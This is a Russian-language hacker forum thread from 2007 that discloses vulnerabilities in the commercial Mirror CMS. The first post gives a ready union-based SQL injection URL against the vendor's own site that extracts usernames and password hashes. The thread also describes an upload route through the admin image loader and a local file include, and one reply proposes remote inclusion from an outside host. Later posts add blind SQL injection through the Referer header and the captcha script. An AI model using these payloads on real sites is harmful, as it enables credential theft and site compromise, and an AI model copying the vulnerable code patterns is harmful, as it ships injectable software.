Mirror CMS bugs

Discussion in 'Веб-уязвимости' started by darky, 29 Oct 2007.

  1. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    by me)

    коммерческая платная цмс, производитель
    http://mirrorcms.ru

    там же представлены все сайты на это цмс

    Code:
    $sSQL="SELECT ".$suffx."_page.title  from _page where  _page.id='".$_GET['doc']."'";
    Если установлен мод рерайт, то название модуля берем из названия первого каталога ..
    Например офф сайт

    http://mirrorcms.ru/news/36/

    аналогично

    http://mirrorcms.ru/?ip=news&doc=36

    Code:
    http://mirrorcms.ru/?ip=news&doc=-1+union+select+1,2,3,concat(usr_login,char(64),usr_password),5,6,7,8,9+from+usertable/*
    
    md5()


    проблема в том что админка при инстале указывается вручную, поэтому стандартно /admin/ встречается на 2-3 сайтах.


    Вообще отпадает смысл в скуле, если мы находим админку.. тогда идем в

    http://site.com/админка/template/imageload.php

    вводим сверху диру где разрешена запись (у меня на 4х сайтах оказалась не просто ?image/ как по дэфолту.. а /stock/images/


    и третья уязвиость - локальный инклуд при magic quotes off в index.php

    PHP:
    if(file_exists("$ip/docn.php")){
    include(
    "$ip/docn.php"); } 
     
    4 people like this.
  2. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Больше похоже на удаленный.
     
  3. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    Какой же он локальный? Что мешает залить на народ.ру файл docn.php и инклудить так:
    Code:
    http://[target]/index.php?ip=http://www.hack.narod.ru
    
     
  4. madnet

    madnet Умиротворенный

    Joined:
    9 Dec 2004
    Messages:
    868
    Likes Received:
    343
    Reputations:
    423
    Мешает file_exists. Инклуд локальный.
     
    _________________________
    1 person likes this.
  5. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    ммм.. небольшое дополнение..

    там же в индексе.. посимвольный (т.к. нет вывода) брут в HTTP_REFERER
    Code:
    stat.php:
    ...
    $rname=getenv("HTTP_REFERER");
    $doc_res=my_query("SELECT * from referer WHERE rname='$rname' AND datein='$datein'");
    ...
    

    Капча

    ./img.php

    при register_globals on имеем посимвольный брут в параметре id.. кстати.. походу без регистр глобалс сам скрипт не будет работать =)


    ЗЫ

    маднет прав. file_exist возвращает тру только при наличие файла на локалхосте +\

    если попытаться скормить ему любой вид урла, возвращает false
     
    3 people like this.